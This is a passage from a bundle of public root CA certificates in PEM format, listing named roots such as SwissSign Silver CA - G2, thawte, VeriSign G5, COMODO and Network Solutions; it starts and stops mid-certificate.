5djV9VSwg/S7zV4Fe0+fdWavPOhWfvxyeDgD2StiGwC5+OlgzczOUYrHUDFu4Up+GC9pWbY9ZIEr 44OE5iKHjn3g7gKZYbge9LgriBIWhMIxkziWMaa5O1M/wySTVltpkuzFwbs4AOPsF6m43Md8AYOf Mke6UiI0HTJ6CVanfCU2qT1L2sCCbwq7EsiHSycR+R4tx5M/nttfJmtS2S6K8RTGRI0Vqbe/vd6m Gu6uLftIdxf+u+yvGPUqUfA5hJeVbG4bwyvEdGB5JbAKJ9/fXtI5z0V9QkvfsywexcZdylU6oJxp mo/a77KwPJ+HbBIrZXAVUjEaJM9vMSNQH4xPjyPDdEFjHFWoFN0+4FFQz/EbMFYOkrCChdiDyyJk vC24JdVUorgG6q2SpCSgwYa1ShNqR88uC1aVVMvOmttqtKay20EIhid392qgQmwLOM7XdVAyksLf KzAiSNDVQTglXaTpXZ/GlHXQRf0wl0OPkKsKx4ZzYEppLd6leNcG2mqeSz53OiATIgHQv2ieY2Br NU0LbbqhPcCT4H8js1WtciVORvnSFu+wZMEBnunKoGqYDs/YYPIvSbjkQuE4NRb0yG5P94FW6Lqj viOvrv1vA+ACOzB2+httQc8Bsem4yWb02ybzOqR08kkkW8mw0FfB+j564ZfJ -----END CERTIFICATE----- SwissSign Silver CA - G2 ======================== -----BEGIN CERTIFICATE----- MIIFvTCCA6WgAwIBAgIITxvUL1S7L0swDQYJKoZIhvcNAQEFBQAwRzELMAkGA1UEBhMCQ0gxFTAT BgNVBAoTDFN3aXNzU2lnbiBBRzEhMB8GA1UEAxMYU3dpc3NTaWduIFNpbHZlciBDQSAtIEcyMB4X DTA2MTAyNTA4MzI0NloXDTM2MTAyNTA4MzI0NlowRzELMAkGA1UEBhMCQ0gxFTATBgNVBAoTDFN3 aXNzU2lnbiBBRzEhMB8GA1UEAxMYU3dpc3NTaWduIFNpbHZlciBDQSAtIEcyMIICIjANBgkqhkiG 9w0BAQEFAAOCAg8AMIICCgKCAgEAxPGHf9N4Mfc4yfjDmUO8x/e8N+dOcbpLj6VzHVxumK4DV644 N0MvFz0fyM5oEMF4rhkDKxD6LHmD9ui5aLlV8gREpzn5/ASLHvGiTSf5YXu6t+WiE7brYT7QbNHm +/pe7R20nqA1W6GSy/BJkv6FCgU+5tkL4k+73JU3/JHpMjUi0R86TieFnbAVlDLaYQ1HTWBCrpJH 6INaUFjpiou5XaHc3ZlKHzZnu0jkg7Y360g6rw9njxcH6ATK72oxh9TAtvmUcXtnZLi2kUpCe2Uu MGoM9ZDulebyzYLs2aFK7PayS+VFheZteJMELpyCbTapxDFkH4aDCyr0NQp4yVXPQbBH6TCfmb5h qAaEuSh6XzjZG6k4sIN/c8HDO0gqgg8hm7jMqDXDhBuDsz6+pJVpATqJAHgE2cn0mRmrVn5bi4Y5 FZGkECwJMoBgs5PAKrYYC51+jUnyEEp/+dVGLxmSo5mnJqy7jDzmDrxHB9xzUfFwZC8I+bRHHTBs ROopN4WSaGa8gzj+ezku01DwH/teYLappvonQfGbGHLy9YR0SslnxFSuSGTfjNFusB3hB48IHpmc celM2KX3RxIfdNFRnobzwqIjQAtz20um53MGjMGg6cFZrEb65i/4z3GcRm25xBWNOHkDRUjvxF3X CO6HOSKGsg0PWEP3calILv3q1h8CAwEAAaOBrDCBqTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/ BAUwAwEB/zAdBgNVHQ4EFgQUF6DNweRBtjpbO8tFnb0cwpj6hlgwHwYDVR0jBBgwFoAUF6DNweRB tjpbO8tFnb0cwpj6hlgwRgYDVR0gBD8wPTA7BglghXQBWQEDAQEwLjAsBggrBgEFBQcCARYgaHR0 cDovL3JlcG9zaXRvcnkuc3dpc3NzaWduLmNvbS8wDQYJKoZIhvcNAQEFBQADggIBAHPGgeAn0i0P 4JUw4ppBf1AsX19iYamGamkYDHRJ1l2E6kFSGG9YrVBWIGrGvShpWJHckRE1qTodvBqlYJ7YH39F kWnZfrt4csEGDyrOj4VwYaygzQu4OSlWhDJOhrs9xCrZ1x9y7v5RoSJBsXECYxqCsGKrXlcSH9/L 3XWgwF15kIwb4FDm3jH+mHtwX6WQ2K34ArZv02DdQEsixT2tOnqfGhpHkXkzuoLcMmkDlm4fS/Bx /uNncqCxv1yL5PqZIseEuRuNI5c/7SXgz2W79WEE790eslpBIlqhn10s6FvJbakMDHiqYMZWjwFa DGi8aRl5xB9+lwW/xekkUV7U1UtT7dkjWjYDZaPBA61BMPNGG4WQr2W11bHkFlt4dR2Xem1ZqSqP e97Dh4kQmUlzeMg9vVE1dCrV8X5pGyq7O70luJpaPXJhkGaH7gzWTdQRdAtq/gsD/KNVV4n+Ssuu WxcFyPKNIzFTONItaj+CuY0IavdeQXRuwxF+B6wpYJE/OMpXEA29MC/HpeZBoNquBYeaoKRlbEwJ DIm6uNO5wJOKMPqN5ZprFQFOZ6raYlY+hAhm0sQ2fac+EPyI4NSA5QC9qvNOBqN6avlicuMJT+ub DgEj8Z+7fNzcbBGXJbLytGMU0gYqZ4yD9c7qB9iaah7s5Aq7KkzrCWA5zspi2C5u -----END CERTIFICATE----- GeoTrust Primary Certification Authority ======================================== -----BEGIN CERTIFICATE----- MIIDfDCCAmSgAwIBAgIQGKy1av1pthU6Y2yv2vrEoTANBgkqhkiG9w0BAQUFADBYMQswCQYDVQQG EwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjExMC8GA1UEAxMoR2VvVHJ1c3QgUHJpbWFyeSBD ZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNjExMjcwMDAwMDBaFw0zNjA3MTYyMzU5NTlaMFgx CzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMTEwLwYDVQQDEyhHZW9UcnVzdCBQ cmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB CgKCAQEAvrgVe//UfH1nrYNke8hCUy3f9oQIIGHWAVlqnEQRr+92/ZV+zmEwu3qDXwK9AWbK7hWN b6EwnL2hhZ6UOvNWiAAxz9juapYC2e0DjPt1befquFUWBRaa9OBesYjAZIVcFU2Ix7e64HXprQU9 nceJSOC7KMgD4TCTZF5SwFlwIjVXiIrxlQqD17wxcwE07e9GceBrAqg1cmuXm2bgyxx5X9gaBGge RwLmnWDiNpcB3841kt++Z8dtd1k7j53WkBWUvEI0EME5+bEnPn7WinXFsq+W06Lem+SYvn3h6YGt tm/81w7a4DSwDRp35+MImO9Y+pyEtzavwt+s0vQQBnBxNQIDAQABo0IwQDAPBgNVHRMBAf8EBTAD AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQULNVQQZcVi/CPNmFbSvtr2ZnJM5IwDQYJKoZI hvcNAQEFBQADggEBAFpwfyzdtzRP9YZRqSa+S7iq8XEN3GHHoOo0Hnp3DwQ16CePbJC/kRYkRj5K Ts4rFtULUh38H2eiAkUxT87z+gOneZ1TatnaYzr4gNfTmeGl4b7UVXGYNTq+k+qurUKykG/g/CFN NWMziUnWm07Kx+dOCQD32sfvmWKZd7aVIl6KoKv0uHiYyjgZmclynnjNS6yvGaBzEi38wkG6gZHa Floxt/m0cYASSJlyc1pZU8FjUjPtp8nSOQJw+uCxQmYpqptR7TBUIhRf2asdweSU8Pj1K/fqynhG 1riR/aYNKxoUAT6A8EKglQdebc3MS6RFjasS6LPeWuWgfOgPIh1a6Vk= -----END CERTIFICATE----- thawte Primary Root CA ====================== -----BEGIN CERTIFICATE----- MIIEIDCCAwigAwIBAgIQNE7VVyDV7exJ9C/ON9srbTANBgkqhkiG9w0BAQUFADCBqTELMAkGA1UE BhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2 aWNlcyBEaXZpc2lvbjE4MDYGA1UECxMvKGMpIDIwMDYgdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhv cml6ZWQgdXNlIG9ubHkxHzAdBgNVBAMTFnRoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EwHhcNMDYxMTE3 MDAwMDAwWhcNMzYwNzE2MjM1OTU5WjCBqTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwg SW5jLjEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjE4MDYGA1UECxMv KGMpIDIwMDYgdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxHzAdBgNVBAMT FnRoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCs oPD7gFnUnMekz52hWXMJEEUMDSxuaPFsW0hoSVk3/AszGcJ3f8wQLZU0HObrTQmnHNK4yZc2AreJ 1CRfBsDMRJSUjQJib+ta3RGNKJpchJAQeg29dGYvajig4tVUROsdB58Hum/u6f1OCyn1PoSgAfGc q/gcfomk6KHYcWUNo1F77rzSImANuVud37r8UVsLr5iy6S7pBOhih94ryNdOwUxkHt3Ph1i6Sk/K aAcdHJ1KxtUvkcx8cXIcxcBn6zL9yZJclNqFwJu/U30rCfSMnZEfl2pSy94JNqR32HuHUETVPm4p afs5SSYeCaWAe0At6+gnhcn+Yf1+5nyXHdWdAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYD VR0PAQH/BAQDAgEGMB0GA1UdDgQWBBR7W0XPr87Lev0xkhpqtvNG61dIUDANBgkqhkiG9w0BAQUF AAOCAQEAeRHAS7ORtvzw6WfUDW5FvlXok9LOAz/t2iWwHVfLHjp2oEzsUHboZHIMpKnxuIvW1oeE uzLlQRHAd9mzYJ3rG9XRbkREqaYB7FViHXe4XI5ISXycO1cRrK1zN44veFyQaEfZYGDm/Ac9IiAX xPcW6cTYcvnIc3zfFi8VqT79aie2oetaupgf1eNNZAqdE8hhuvU5HIe6uL17In/2/qxAeeWsEG89 jxt5dovEN7MhGITlNgDrYyCZuen+MwS7QcjBAvlEYyCegc5C09Y/LHbTY5xZ3Y+m4Q6gLkH3LpVH z7z9M/P2C2F+fpErgUfCJzDupxBdN49cOSvkBPB7jVaMaA== -----END CERTIFICATE----- VeriSign Class 3 Public Primary Certification Authority - G5 ============================================================ -----BEGIN CERTIFICATE----- MIIE0zCCA7ugAwIBAgIQGNrRniZ96LtKIVjNzGs7SjANBgkqhkiG9w0BAQUFADCByjELMAkGA1UE BhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBO ZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVk IHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRp ZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwHhcNMDYxMTA4MDAwMDAwWhcNMzYwNzE2MjM1OTU5WjCB yjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2ln biBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBh dXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmlt YXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw ggEKAoIBAQCvJAgIKXo1nmAMqudLO07cfLw8RRy7K+D+KQL5VwijZIUVJ/XxrcgxiV0i6CqqpkKz j/i5Vbext0uz/o9+B1fs70PbZmIVYc9gDaTY3vjgw2IIPVQT60nKWVSFJuUrjxuf6/WhkcIzSdhD Y2pSS9KP6HBRTdGJaXvHcPaz3BJ023tdS1bTlr8Vd6Gw9KIl8q8ckmcY5fQGBO+QueQA5N06tRn/ Arr0PO7gi+s3i+z016zy9vA9r911kTMZHRxAy3QkGSGT2RT+rCpSx4/VBEnkjWNHiDxpg8v+R70r fk/Fla4OndTRQ8Bnc+MUCH7lP59zuDMKz10/NIeWiu5T6CUVAgMBAAGjgbIwga8wDwYDVR0TAQH/ BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2Uv Z2lmMCEwHzAHBgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVy aXNpZ24uY29tL3ZzbG9nby5naWYwHQYDVR0OBBYEFH/TZafC3ey78DAJ80M5+gKvMzEzMA0GCSqG SIb3DQEBBQUAA4IBAQCTJEowX2LP2BqYLz3q3JktvXf2pXkiOOzEp6B4Eq1iDkVwZMXnl2YtmAl+ X6/WzChl8gGqCBpH3vn5fJJaCGkgDdk+bW48DW7Y5gaRQBi5+MHt39tBquCWIMnNZBU4gcmU7qKE KQsTb47bDN0lAtukixlE0kF6BWlKWE9gyn6CagsCqiUXObXbf+eEZSqVir2G3l6BFoMtEMze/aiC Km0oHw0LxOXnGiYZ4fQRbxC1lfznQgUy286dUV4otp6F01vvpX1FQHKOtw5rDgb7MzVIcbidJ4vE ZV8NhnacRHr2lVz2XTIIM6RUthg/aFzyQkqFOFSDX9HoLPKsEdao7WNq -----END CERTIFICATE----- SecureTrust CA ============== -----BEGIN CERTIFICATE----- MIIDuDCCAqCgAwIBAgIQDPCOXAgWpa1Cf/DrJxhZ0DANBgkqhkiG9w0BAQUFADBIMQswCQYDVQQG EwJVUzEgMB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24xFzAVBgNVBAMTDlNlY3VyZVRy dXN0IENBMB4XDTA2MTEwNzE5MzExOFoXDTI5MTIzMTE5NDA1NVowSDELMAkGA1UEBhMCVVMxIDAe BgNVBAoTF1NlY3VyZVRydXN0IENvcnBvcmF0aW9uMRcwFQYDVQQDEw5TZWN1cmVUcnVzdCBDQTCC ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKukgeWVzfX2FI7CT8rU4niVWJxB4Q2ZQCQX OZEzZum+4YOvYlyJ0fwkW2Gz4BERQRwdbvC4u/jep4G6pkjGnx29vo6pQT64lO0pGtSO0gMdA+9t DWccV9cGrcrI9f4Or2YlSASWC12juhbDCE/RRvgUXPLIXgGZbf2IzIaowW8xQmxSPmjL8xk037uH GFaAJsTQ3MBv396gwpEWoGQRS0S8Hvbn+mPeZqx2pHGj7DaUaHp3pLHnDi+BeuK1cobvomuL8A/b 01k/unK8RCSc43Oz969XL0Imnal0ugBS8kvNU3xHCzaFDmapCJcWNFfBZveA4+1wVMeT4C4oFVmH ursCAwEAAaOBnTCBmjATBgkrBgEEAYI3FAIEBh4EAEMAQTALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/ BAUwAwEB/zAdBgNVHQ4EFgQUQjK2FvoE/f5dS3rD/fdMQB1aQ68wNAYDVR0fBC0wKzApoCegJYYj aHR0cDovL2NybC5zZWN1cmV0cnVzdC5jb20vU1RDQS5jcmwwEAYJKwYBBAGCNxUBBAMCAQAwDQYJ KoZIhvcNAQEFBQADggEBADDtT0rhWDpSclu1pqNlGKa7UTt36Z3q059c4EVlew3KW+JwULKUBRSu SceNQQcSc5R+DCMh/bwQf2AQWnL1mA6s7Ll/3XpvXdMc9P+IBWlCqQVxyLesJugutIxq/3HcuLHf mbx8IVQr5Fiiu1cprp6poxkmD5kuCLDv/WnPmRoJjeOnnyvJNjR7JLN4TJUXpAYmHrZkUjZfYGfZ nMUFdAvnZyPSCPyI6a6Lf+Ew9Dd+/cYy2i2eRDAwbO4H3tI0/NL/QPZL9GZGBlSm8jIKYyYwa5vR 3ItHuuG51WLQoqD0ZwV4KWMabwTW+MZMo5qxN7SN5ShLHZ4swrhovO0C7jE= -----END CERTIFICATE----- Secure Global CA ================ -----BEGIN CERTIFICATE----- MIIDvDCCAqSgAwIBAgIQB1YipOjUiolN9BPI8PjqpTANBgkqhkiG9w0BAQUFADBKMQswCQYDVQQG EwJVUzEgMB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24xGTAXBgNVBAMTEFNlY3VyZSBH bG9iYWwgQ0EwHhcNMDYxMTA3MTk0MjI4WhcNMjkxMjMxMTk1MjA2WjBKMQswCQYDVQQGEwJVUzEg MB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24xGTAXBgNVBAMTEFNlY3VyZSBHbG9iYWwg Q0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvNS7YrGxVaQZx5RNoJLNP2MwhR/jx YDiJiQPpvepeRlMJ3Fz1Wuj3RSoC6zFh1ykzTM7HfAo3fg+6MpjhHZevj8fcyTiW89sa/FHtaMbQ bqR8JNGuQsiWUGMu4P51/pinX0kuleM5M2SOHqRfkNJnPLLZ/kG5VacJjnIFHovdRIWCQtBJwB1g 8NEXLJXr9qXBkqPFwqcIYA1gBBCWeZ4WNOaptvolRTnIHmX5k/Wq8VLcmZg9pYYaDDUz+kulBAYV HDGA76oYa8J719rO+TMg1fW9ajMtgQT7sFzUnKPiXB3jqUJ1XnvUd+85VLrJChgbEplJL4hL/VBi 0XPnj3pDAgMBAAGjgZ0wgZowEwYJKwYBBAGCNxQCBAYeBABDAEEwCwYDVR0PBAQDAgGGMA8GA1Ud EwEB/wQFMAMBAf8wHQYDVR0OBBYEFK9EBMJBfkiD2045AuzshHrmzsmkMDQGA1UdHwQtMCswKaAn oCWGI2h0dHA6Ly9jcmwuc2VjdXJldHJ1c3QuY29tL1NHQ0EuY3JsMBAGCSsGAQQBgjcVAQQDAgEA MA0GCSqGSIb3DQEBBQUAA4IBAQBjGghAfaReUw132HquHw0LURYD7xh8yOOvaliTFGCRsoTciE6+ OYo68+aCiV0BN7OrJKQVDpI1WkpEXk5X+nXOH0jOZvQ8QCaSmGwb7iRGDBezUqXbpZGRzzfTb+cn CDpOGR86p1hcF895P4vkp9MmI50mD1hp/Ed+stCNi5O/KU9DaXR2Z0vPB4zmAve14bRDtUstFJ/5 3CYNv6ZHdAbYiNE6KTCEztI5gGIbqMdXSbxqVVFnFUq+NQfk1XWYN3kwFNspnWzFacxHVaIw98xc f8LDmBxrThaA63p4ZUWiABqvDA1VZDRIuJK58bRQKfJPIx/abKwfROHdI3hRW8cW -----END CERTIFICATE----- COMODO Certification Authority ============================== -----BEGIN CERTIFICATE----- MIIEHTCCAwWgAwIBAgIQToEtioJl4AsC7j41AkblPTANBgkqhkiG9w0BAQUFADCBgTELMAkGA1UE BhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgG A1UEChMRQ09NT0RPIENBIExpbWl0ZWQxJzAlBgNVBAMTHkNPTU9ETyBDZXJ0aWZpY2F0aW9uIEF1 dGhvcml0eTAeFw0wNjEyMDEwMDAwMDBaFw0yOTEyMzEyMzU5NTlaMIGBMQswCQYDVQQGEwJHQjEb MBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRowGAYDVQQKExFD T01PRE8gQ0EgTGltaXRlZDEnMCUGA1UEAxMeQ09NT0RPIENlcnRpZmljYXRpb24gQXV0aG9yaXR5 MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ECLi3LjkRv3UcEbVASY06m/weaKXTuH +7uIzg3jLz8GlvCiKVCZrts7oVewdFFxze1CkU1B/qnI2GqGd0S7WWaXUF601CxwRM/aN5VCaTww xHGzUvAhTaHYujl8HJ6jJJ3ygxaYqhZ8Q5sVW7euNJH+1GImGEaaP+vB+fGQV+useg2L23IwambV 4EajcNxo2f8ESIl33rXp+2dtQem8Ob0y2WIC8bGoPW43nOIv4tOiJovGuFVDiOEjPqXSJDlqR6sA 1KGzqSX+DT+nHbrTUcELpNqsOO9VUCQFZUaTNE8tja3G1CEZ0o7KBWFxB3NH5YoZEr0ETc5OnKVI rLsm9wIDAQABo4GOMIGLMB0GA1UdDgQWBBQLWOWLxkwVN6RAqTCpIb5HNlpW/zAOBgNVHQ8BAf8E BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zBJBgNVHR8EQjBAMD6gPKA6hjhodHRwOi8vY3JsLmNvbW9k b2NhLmNvbS9DT01PRE9DZXJ0aWZpY2F0aW9uQXV0aG9yaXR5LmNybDANBgkqhkiG9w0BAQUFAAOC AQEAPpiem/Yb6dc5t3iuHXIYSdOH5EOC6z/JqvWote9VfCFSZfnVDeFs9D6Mk3ORLgLETgdxb8CP OGEIqB6BCsAvIC9Bi5HcSEW88cbeunZrM8gALTFGTO3nnc+IlP8zwFboJIYmuNg4ON8qa90SzMc/ RxdMosIGlgnW2/4/PEZB31jiVg88O8EckzXZOFKs7sjsLjBOlDW0JB9LeGna8gI4zJVSk/BwJVmc IGfE7vmLV2H0knZ9P4SNVbfo5azV8fUZVqZa+5Acr5Pr5RzUZ5ddBA6+C4OmF4O5MBKgxTMVBbkN +8cFduPYSo38NBejxiEovjBFMR7HeL5YYTisO+IBZQ== -----END CERTIFICATE----- Network Solutions Certificate Authority ======================================= -----BEGIN CERTIFICATE----- MIID5jCCAs6gAwIBAgIQV8szb8JcFuZHFhfjkDFo4DANBgkqhkiG9w0BAQUFADBiMQswCQYDVQQG EwJVUzEhMB8GA1UEChMYTmV0d29yayBTb2x1dGlvbnMgTC5MLkMuMTAwLgYDVQQDEydOZXR3b3Jr IFNvbHV0aW9ucyBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMDYxMjAxMDAwMDAwWhcNMjkxMjMx MjM1OTU5WjBiMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYTmV0d29yayBTb2x1dGlvbnMgTC5MLkMu MTAwLgYDVQQDEydOZXR3b3JrIFNvbHV0aW9ucyBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwggEiMA0G CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDkvH6SMG3G2I4rC7xGzuAnlt7e+foS0zwzc7MEL7xx jOWftiJgPl9dzgn/ggwbmlFQGiaJ3dVhXRncEg8tCqJDXRfQNJIg6nPPOCwGJgl6cvf6UDL4wpPT aaIjzkGxzOTVHzbRijr4jGPiFFlp7Q3Tf2vouAPlT2rlmGNpSAW+Lv8ztumXWWn4Zxmuk2GWRBXT crA/vGp97Eh/jcOrqnErU2lBUzS1sLnFBgrEsEX1QV1uiUV7PTsmjHTC5dLRfbIR1PtYMiKagMnc /Qzpf14Dl847ABSHJ3A4qY5usyd2mFHgBeMhqxrVhSI8KbWaFsWAqPS7azCPL0YCorEMIuDTAgMB AAGjgZcwgZQwHQYDVR0OBBYEFCEwyfsA106Y2oeqKtCnLrFAMadMMA4GA1UdDwEB/wQEAwIBBjAP BgNVHRMBAf8EBTADAQH/MFIGA1UdHwRLMEkwR6BFoEOGQWh0dHA6Ly9jcmwubmV0c29sc3NsLmNv bS9OZXR3b3JrU29sdXRpb25zQ2VydGlmaWNhdGVBdXRob3JpdHkuY3JsMA0GCSqGSIb3DQEBBQUA A4IBAQC7rkvnt1frf6ott3NHhWrB5KUd5Oc86fRZZXe1eltajSU24HqXLjjAV2CDmAaDn7l2em5Q 4LqILPxFzBiwmZVRDuwduIj/h1AcgsLj4DKAv6ALR8jDMe+ZZzKATxcheQxpXN5eNK4CtSbqUN9/ GGUsyfJj4akH/nxxH2szJGoeBfcFaMBqEssuXmHLrijTfsK0ZpEmXzwuJF/LWA/rKOyvEZbz3Htv wKeI8lN3s2Berq4o2jUsbzRF0ybh3uxbTydrFny9RAQYgrOJeRcQcT16ohZO9QHNpGxlaKFJdlxD ydi8NmdspZS11My5vWo1ViHe2MPr+8ukYEywVaCge1ey -----END CERTIFICATE----- WellsSecure Public Root Certificate Authority ============================================= -----BEGIN CERTIFICATE----- MIIEvTCCA6WgAwIBAgIBATANBgkqhkiG9w0BAQUFADCBhTELMAkGA1UEBhMCVVMxIDAeBgNVBAoM F1dlbGxzIEZhcmdvIFdlbGxzU2VjdXJlMRwwGgYDVQQLDBNXZWxscyBGYXJnbyBCYW5rIE5BMTYw NAYDVQQDDC1XZWxsc1NlY3VyZSBQdWJsaWMgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcN MDcxMjEzMTcwNzU0WhcNMjIxMjE0MDAwNzU0WjCBhTELMAkGA1UEBhMCVVMxIDAeBgNVBAoMF1dl bGxzIEZhcmdvIFdlbGxzU2VjdXJlMRwwGgYDVQQLDBNXZWxscyBGYXJnbyBCYW5rIE5BMTYwNAYD VQQDDC1XZWxsc1NlY3VyZSBQdWJsaWMgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwggEiMA0G CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDub7S9eeKPCCGeOARBJe+rWxxTkqxtnt3CxC5FlAM1 iGd0V+PfjLindo8796jE2yljDpFoNoqXjopxaAkH5OjUDk/41itMpBb570OYj7OeUt9tkTmPOL13 i0Nj67eT/DBMHAGTthP796EfvyXhdDcsHqRePGj4S78NuR4uNuip5Kf4D8uCdXw1LSLWwr8L87T8 bJVhHlfXBIEyg1J55oNjz7fLY4sR4r1e6/aN7ZVyKLSsEmLpSjPmgzKuBXWVvYSV2ypcm44uDLiB K0HmOFafSZtsdvqKXfcBeYF8wYNABf5x/Qw/zE5gCQ5lRxAvAcAFP4/4s0HvWkJ+We/SlwxlAgMB AAGjggE0MIIBMDAPBgNVHRMBAf8EBTADAQH/MDkGA1UdHwQyMDAwLqAsoCqGKGh0dHA6Ly9jcmwu cGtpLndlbGxzZmFyZ28uY29tL3dzcHJjYS5jcmwwDgYDVR0PAQH/BAQDAgHGMB0GA1UdDgQWBBQm lRkQ2eihl5H/3BnZtQQ+0nMKajCBsgYDVR0jBIGqMIGngBQmlRkQ2eihl5H/3BnZtQQ+0nMKaqGB i6SBiDCBhTELMAkGA1UEBhMCVVMxIDAeBgNVBAoMF1dlbGxzIEZhcmdvIFdlbGxzU2VjdXJlMRww GgYDVQQLDBNXZWxscyBGYXJnbyBCYW5rIE5BMTYwNAYDVQQDDC1XZWxsc1NlY3VyZSBQdWJsaWMg Um9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHmCAQEwDQYJKoZIhvcNAQEFBQADggEBALkVsUSRzCPI K0134/iaeycNzXK7mQDKfGYZUMbVmO2rvwNa5U3lHshPcZeG1eMd/ZDJPHV3V3p9+N701NX3leZ0 bh08rnyd2wIDBSxxSyU+B+NemvVmFymIGjifz6pBA4SXa5M4esowRBskRDPQ5NHcKDj0E0M1NSlj qHyita04pO2t/caaH/+Xc/77szWnk4bGdpEA5qxRFsQnMlzbc9qlk1eOPm01JghZ1edE13YgY+es E2fDbbFwRnzVlhE9iW9dqKHrjQrawx0zbKPqZxmamX9LPYNRKh3KL4YMon4QLSvUFpULB6ouFJJJ tylv2G0xffX8oRAHh84vWdw+WNs= -----END CERTIFICATE----- COMODO ECC Certification Authority ================================== -----BEGIN CERTIFICATE----- MIICiTCCAg+gAwIBAgIQH0evqmIAcFBUTAGem2OZKjAKBggqhkjOPQQDAzCBhTELMAkGA1UEBhMC R0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UE ChMRQ09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBFQ0MgQ2VydGlmaWNhdGlvbiBB dXRob3JpdHkwHhcNMDgwMzA2MDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBhTELMAkGA1UEBhMCR0Ix GzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMR Q09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBFQ0MgQ2VydGlmaWNhdGlvbiBBdXRo b3JpdHkwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQDR3svdcmCFYX7deSRFtSrYpn1PlILBs5BAH+X 4QokPB0BBO490o0JlwzgdeT6+3eKKvUDYEs2ixYjFq0JcfRK9ChQtP6IHG4/bC8vCVlbpVsLM5ni wz2J+Wos77LTBumjQjBAMB0GA1UdDgQWBBR1cacZSBm8nZ3qQUfflMRId5nTeTAOBgNVHQ8BAf8E BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNoADBlAjEA7wNbeqy3eApyt4jf/7VG FAkK+qDmfQjGGoe9GKhzvSbKYAydzpmfz1wPMOG+FDHqAjAU9JM8SaczepBGR7NjfRObTrdvGDeA U/7dIOA1mjbRxwG55tzd8/8dLDoWV9mSOdY= -----END CERTIFICATE----- IGC/A ===== -----BEGIN CERTIFICATE----- MIIEAjCCAuqgAwIBAgIFORFFEJQwDQYJKoZIhvcNAQEFBQAwgYUxCzAJBgNVBAYTAkZSMQ8wDQYD VQQIEwZGcmFuY2UxDjAMBgNVBAcTBVBhcmlzMRAwDgYDVQQKEwdQTS9TR0ROMQ4wDAYDVQQLEwVE Q1NTSTEOMAwGA1UEAxMFSUdDL0ExIzAhBgkqhkiG9w0BCQEWFGlnY2FAc2dkbi5wbS5nb3V2LmZy 